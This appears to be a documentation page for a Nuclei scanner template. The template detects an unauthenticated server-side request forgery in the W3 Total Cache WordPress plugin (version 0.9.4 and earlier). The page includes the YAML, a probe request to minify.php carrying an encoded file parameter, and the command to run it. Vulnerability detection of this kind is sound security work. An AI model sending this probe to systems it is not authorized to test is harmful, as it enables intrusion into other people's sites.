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Wordpress W3C Total Cache <= 0.9.4 - Server Side Request Forgery (SSRF)

ID: w3c-total-cache-ssrf

Severity: medium

Author: random_robbie

Tags: wordpress,wp-plugin,cache,ssrf,wp

Description

Section titled “Description”

The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.

YAML Source

Section titled “YAML Source”
id: w3c-total-cache-ssrf


info:
  name: Wordpress W3C Total Cache <= 0.9.4 - Server Side Request Forgery (SSRF)
  author: random_robbie
  severity: medium
  description: |
    The W3 Total Cache WordPress plugin was affected by an Unauthenticated Server Side Request Forgery (SSRF) security vulnerability.
  reference:
    - https://wpvulndb.com/vulnerabilities/8644
    - https://klikki.fi/adv/w3_total_cache.html
  metadata:
    max-request: 1
  tags: wordpress,wp-plugin,cache,ssrf,wp


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css'


    matchers:
      - type: word
        part: body
        words:
          - "NessusFileIncludeTest"
# digest: 4a0a00473045022100cd25a8f66623ebb27c593d6d0e8e36169f302547970718abee35d76c2e2fa2650220434388472165c3e4c0b5dce3b40300e0a3284fe7557eccf2f6ed8430e8438b0c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/w3c-total-cache-ssrf.yaml"

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